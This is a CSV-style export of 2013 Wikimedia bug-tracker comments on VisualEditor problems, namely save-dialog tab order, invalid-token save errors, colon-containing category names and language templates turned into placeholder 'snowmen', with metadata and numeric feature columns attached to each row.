https://gerrit.wikimedia.org/r/81876",,,1378325620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,19.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,0.9523809523809523,"Change 81876 had a related patch set uploaded by Jforrester:
Make the save dialog an actual dialog

GERRIT_URL"
251327,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,*** Bug 53257 has been marked as a duplicate of this bug. ***,,,1378247189,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53257 has been marked as a duplicate of this bug. ***
251322,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"Dcoetzee at en.wp reports that the tab order differs in different browsers, and that at a certain point in firefox the focus gets stuck and neither tab nor shift-tab can move it.

The full comment is below:
    ""On Chrome Version 28.0.1500.95 m on Windows 7 x64: It starts in the edit summary field, goes to the ""minor edit"" link (not the checkbox), then the Save page button, then the Review your changes button (moving right to left), then the three links in the small text at the bottom, then the address bar, then the Search box, then the minor edit checkbox, then the ""Interactions"" menu drop down on the left sidebar (???), then the Watch this page checkbox. If I use SHIFT+TAB it goes to Edit summary link, then jumps straight to the Mediawiki logo way in the bottom right.

    On Firefox 22.0 and 23.0 on Windows 7 x64: It starts in the edit summary field, goes to the ""minor edit"" link (not the checkbox), then the Save page button, then thereafter neither TAB nor SHIFT+TAB do anything (focus is stuck - this is a serious problem as it may require reloading the page and losing edits). SHIFT+TAB is same as in Chrome.

Conventionally, tab order is supposed to go in a logical reading order: left-to-right, top-to-bottom. My expected order was something like this:

    Starts in edit summary field, goes to minor edit checkbox, then minor edit link, then Watch this page checkbox, then Review your changes button, then Save page button, then the three links at the bottom. If I use SHIFT+TAB to tab backwards, I expect to visit the Edit summary link, then (if possible) the arrow to collapse/abort the Save, then the Search box.""",,,1376643209,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,6,,0.0,0.5,0.0,0.25,0.5,4.5,0.75,0.0,0.0,0.75,2.75,0.0,0.0,0.0,0.0,1.0,0.0,7.25,10.0,0.5,1.0,0.0,0.0,0.0,0.25,0.0,0.0,0.25,0.5,0.0,0.0,4.5,0.75,1.25,0.5,0.5,0.0,0.0,0.5,1.75,0.75,0.0,0.0,0.25,0.0,0.5,0.0,0.0,0.25,20.5,0.5,0.75,0.0,0.0,0.25,0.0,0.0,0.0,0.25,0.25,0.25,0.0,0.0,0.5,0.0,0.0,0.0,8.5,1.5,10.0,1.25,2.0,9.5,0.0,0.0,0.0,0.0,2.5,0.0,1.75,0.0,2.75,10.0,6.25,0.75,2.0,0.0,2.75,0.0,0.0,0.75,0.0,0.75,0.0,0.0,0.0,3.7335164835164836,0.6565934065934066,"Dcoetzee at en.wp reports that the tab order differs in different browsers, and that at a certain point in firefox the focus gets stuck and neither tab nor shift-tab can move it.

The full comment is below:
    ""On Chrome Version 28.0.1500.95 m on Windows 7 x64: It starts in the edit summary field, goes to the ""minor edit"" link (not the checkbox), then the Save page button, then the Review your changes button (moving right to left), then the three links in the small text at the bottom, then the address bar, then the Search box, then the minor edit checkbox, then the ""Interactions"" menu drop down on the left sidebar (???), then the Watch this page checkbox. If I use SHIFT+TAB it goes to Edit summary link, then jumps straight to the Mediawiki logo way in the bottom right.

    On Firefox 22.0 and 23.0 on Windows 7 x64: It starts in the edit summary field, goes to the ""minor edit"" link (not the checkbox), then the Save page button, then thereafter neither TAB nor SHIFT+TAB do anything (focus is stuck - this is a serious problem as it may require reloading the page and losing edits). SHIFT+TAB is same as in Chrome.

Conventionally, tab order is supposed to go in a logical reading order: left-to-right, top-to-bottom. My expected order was something like this:

    Starts in edit summary field, goes to minor edit checkbox, then minor edit link, then Watch this page checkbox, then Review your changes button, then Save page button, then the three links at the bottom. If I use SHIFT+TAB to tab backwards, I expect to visit the Edit summary link, then (if possible) the arrow to collapse/abort the Save, then the Search box."""
251314,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"There has been a slight change to this recently but it is still wrong.

Current behaviour: Pressing tab from the summary box leads to the minor edit link
Desired behaviour: It should lead to the minor edit checkbox (not the link)",,,1375435729,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,2.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,8.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,10.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9791666666666665,0.7916666666666666,"There has been a slight change to this recently but it is still wrong.

Current behaviour: Pressing tab from the summary box leads to the minor edit link
Desired behaviour: It should lead to the minor edit checkbox (not the link)"
251308,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,*** Bug 52080 has been marked as a duplicate of this bug. ***,,,1374880815,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52080 has been marked as a duplicate of this bug. ***
251300,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"That is an enhancement MZMcBride.

*** This bug has been marked as a duplicate of bug 50047 ***",,,1374630794,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.2916666666666665,0.75,"That is an enhancement MZMcBride.

*** This bug has been marked as a duplicate of bug 50047 ***"
251292,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"Yeah, VisualEditor is kind of disruptive in this way. I'd like some further thought here.",,,1374630602,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,3,,5.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,0.9473684210526315,"Yeah, VisualEditor is kind of disruptive in this way. I'd like some further thought here."
53915,VisualEditor: Return of the invalid token on save attempt problem?,"(This sounds exactly like bug 50424, but that was marked fixed on 2013-07-15 with ""deployed within the hour"".)

I had made source edits to a mediawiki.org page over https. Looking at it 30+ minutes later I wanted to make one more quick edit, so I clicked [Edit].  VE worked fine, Save dialog, [Review your changes] worked, but the final [Save page] drew blue bars before doing nothing.

Firebug's network console showed the API requst visualeditoredit with 
  basetimestamp	20130723212405
  format	json
  minor	1
  oldid	745108
  page	Manual:How_to_debug
  starttimestamp	20130723232059
was failing with 
  {""servedby"":""mw1139"",""error"":{""code"":""badtoken"",""info"":""Invalid token""}}

I had a similar occurrence a few days ago where the API reported badtoken. I can't remember the specifics of that, but I assumed it was my mistake because I was using multiple accounts on different wikis.  This time I wasn't doing anything special.  Connecting to https://www.mediawiki.org/wiki/Special:Version in another tab shows me as still logged in.

Maybe there are two bugs here: VE's inability to recover from this, and the lack of a ""VE had an internal error"" with suggestion as to how to what to do (e.g. copy the right-hand column of [Review changes]. Regarding the former, when I've lost state with source editing I usually find [Show preview] brings it back, maybe VE can implement something like this internally.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374622800,1375297527.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-zrcmecxwpnqso5zyiauu,task_description,resolved,True,c1,3,False,False,True,3,,0.25,0.5,0.0,0.25,0.5,4.0,0.25,0.25,0.0,0.0,1.5,0.75,0.0,0.0,0.25,3.25,0.25,4.75,8.25,0.75,0.75,0.0,0.0,0.25,4.0,0.0,0.0,0.0,0.25,0.0,0.25,1.75,1.75,0.75,0.5,0.25,0.0,0.0,0.75,0.0,0.0,0.0,0.25,1.25,0.0,0.0,0.0,0.0,0.0,11.25,1.0,0.5,0.25,0.25,1.0,0.0,0.0,0.25,0.25,0.25,0.75,0.5,0.0,0.25,0.0,0.0,0.0,3.5,1.5,9.0,1.25,1.25,5.25,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,4.25,8.25,3.5,0.0,1.5,0.0,4.25,0.0,1.25,1.25,0.25,2.25,0.5,0.0,1.75,4.011613386613386,0.783008658008658,"(This sounds exactly like bug 50424, but that was marked fixed on 2013-07-15 with ""deployed within the hour"".)

I had made source edits to a mediawiki.org page over https. Looking at it 30+ minutes later I wanted to make one more quick edit, so I clicked [Edit].  VE worked fine, Save dialog, [Review your changes] worked, but the final [Save page] drew blue bars before doing nothing.

Firebug's network console showed the API requst visualeditoredit with 
  basetimestamp	20130723212405
  format	json
  minor	1
  oldid	745108
  page	Manual:How_to_debug
  starttimestamp	20130723232059
was failing with 
  {""servedby"":""mw1139"",""error"":{""code"":""badtoken"",""info"":""Invalid token""}}

I had a similar occurrence a few days ago where the API reported badtoken. I can't remember the specifics of that, but I assumed it was my mistake because I was using multiple accounts on different wikis.  This time I wasn't doing anything special.  Connecting to URL in another tab shows me as still logged in.

Maybe there are two bugs here: VE's inability to recover from this, and the lack of a ""VE had an internal error"" with suggestion as to how to what to do (e.g. copy the right-hand column of [Review changes]. Regarding the former, when I've lost state with source editing I usually find [Show preview] brings it back, maybe VE can implement something like this internally.

--------------------------
**Version**: unspecified
**Severity**: normal"
251119,VisualEditor: Return of the invalid token on save attempt problem?,This was fixed in gerrit 76859 which was merged yesterday and will go out today.,,,1375297527,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zrcmecxwpnqso5zyiauu,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.9375,This was fixed in gerrit 76859 which was merged yesterday and will go out today.
251112,VisualEditor: Return of the invalid token on save attempt problem?,"**mael.leguevel** wrote:

I had the same message with the following scenario:
Edit an article, not logged in. Then, log in from another tab. Trying to save the article from the first tab, I get the same error message.",,,1375126356,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zrcmecxwpnqso5zyiauu,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,10.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.5,0.6346153846153846,"**mael.leguevel** wrote:

I had the same message with the following scenario:
Edit an article, not logged in. Then, log in from another tab. Trying to save the article from the first tab, I get the same error message."
251105,VisualEditor: Return of the invalid token on save attempt problem?,"en.wp editor Rpyle731 has just reported an occurrence of this:
""While putting in stub templates in article ""[[Zhang Shi (prince)]]"" using the visual editor, when trying to save I got the text 

""Error loading data from server. Unsuccessful request: Invalid token.""""",,,1374878013,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zrcmecxwpnqso5zyiauu,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,7.0,0.0,10.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,3.0,3.7666666666666666,0.8,"en.wp editor Rpyle731 has just reported an occurrence of this:
""While putting in stub templates in article ""[[Zhang Shi (prince)]]"" using the visual editor, when trying to save I got the text 

""Error loading data from server. Unsuccessful request: Invalid token."""""
251098,VisualEditor: Return of the invalid token on save attempt problem?,"(In reply to comment #1)
FWIW when I investigated this by clicking the final [Save page] again, I only saw the one visualeditoredit API request in Firebug's Network tab.",,,1374632435,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-zrcmecxwpnqso5zyiauu,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,5.0,0.0,8.0,11.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,3.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.736842105263158,0.9473684210526315,"(In reply to comment #1)
FWIW when I investigated this by clicking the final [Save page] again, I only saw the one visualeditoredit API request in Firebug's Network tab."
251091,VisualEditor: Return of the invalid token on save attempt problem?,"When the API responds with badtoken, VE *should* refetch the token and try again. I'm fairly sure that was implemented, but not 100% sure.",,,1374623153,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zrcmecxwpnqso5zyiauu,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.59375,0.84375,"When the API responds with badtoken, VE *should* refetch the token and try again. I'm fairly sure that was implemented, but not 100% sure."
53902,VisualEditor: Categories with colons in their name do not display properly in the meta-data dialog,"If you look at page settings under https://sv.wikipedia.org/wiki/Violin?veaction=edit you'll see the category ""Wikipedia"". This is actually Kategori:Wikipedia:Basartiklar if you look at the page source; it seems the VE isn't including category elements that are preceded by a colon.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374604560,1374779912.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jxtza5wxkt3lvc2yga75,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,15.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,9.0,7.0,0.0,3.0,0.0,6.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.029850746268656,0.6567164179104478,"If you look at page settings under URL you'll see the category ""Wikipedia"". This is actually Kategori:Wikipedia:Basartiklar if you look at the page source; it seems the VE isn't including category elements that are preceded by a colon.

--------------------------
**Version**: unspecified
**Severity**: normal"
250163,VisualEditor: Categories with colons in their name do not display properly in the meta-data dialog,Now fixed in master.,,,1374779912,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxtza5wxkt3lvc2yga75,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Now fixed in master.
250157,VisualEditor: Categories with colons in their name do not display properly in the meta-data dialog,"Change 75859 merged by jenkins-bot:
Parse category names correctly

https://gerrit.wikimedia.org/r/75859",,,1374776211,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jxtza5wxkt3lvc2yga75,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.733333333333333,1.0,"Change 75859 merged by jenkins-bot:
Parse category names correctly

GERRIT_URL"
250151,VisualEditor: Categories with colons in their name do not display properly in the meta-data dialog,"Change 75859 had a related patch set uploaded by Esanders:
Parse category names correctly

https://gerrit.wikimedia.org/r/75859",,,1374756861,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jxtza5wxkt3lvc2yga75,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.944444444444445,1.0,"Change 75859 had a related patch set uploaded by Esanders:
Parse category names correctly

GERRIT_URL"
250147,VisualEditor: Categories with colons in their name do not display properly in the meta-data dialog,"This style of category name also appears at de.wikipedia, e.g., [[:de:Kategorie:Wikipedia:Schnelllöschen]].",,,1374683040,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jxtza5wxkt3lvc2yga75,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.041666666666667,0.8333333333333334,"This style of category name also appears at de.wikipedia, e.g., [[:de:Kategorie:Wikipedia:Schnelllöschen]]."
53883,VisualEditor: Language templates replaced by snowmen at Japanese Wikipedia,"The error can be seen at http://ja.wikipedia.org/w/index.php?title=ロマン主義&diff=prev&oldid=48242310

Each language template in the lead sentence (e.g., {{lang-en}}, used for providing translations of the article title into English) was replaced by two snowmen.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://ja.wikipedia.org/w/index.php?title=ロマン主義&diff=prev&oldid=48242310",High,80.0,1374589920,1407061575.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-sqexirvlnm7n526sp3a3,task_description,resolved,True,c1,3,False,False,False,3,,1.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.536231884057971,0.6811594202898551,"The error can be seen at URL

Each language template in the lead sentence (e.g., {{lang-en}}, used for providing translations of the article title into English) was replaced by two snowmen.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
249259,VisualEditor: Language templates replaced by snowmen at Japanese Wikipedia,I think that this was finally fixed in Roan's great re-working of snowmen.,,,1407061575,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sqexirvlnm7n526sp3a3,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,24.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6470588235294117,1.0,I think that this was finally fixed in Roan's great re-working of snowmen.
249255,VisualEditor: Language templates replaced by snowmen at Japanese Wikipedia,"I have just duplicated this in Thai wikipedia.  Not only does the {{lang-en}} template turn into snowmen, the surrounding text gets rendered into (bolded) English upon saving. 

Diff:https://th.wikipedia.org/w/index.php?title=%E0%B8%81%E0%B8%8E%E0%B8%AB%E0%B8%A1%E0%B8%B2%E0%B8%A2%E0%B8%9B%E0%B8%B4%E0%B8%94%E0%B8%9B%E0%B8%B2%E0%B8%81&diff=5062666&oldid=4871033

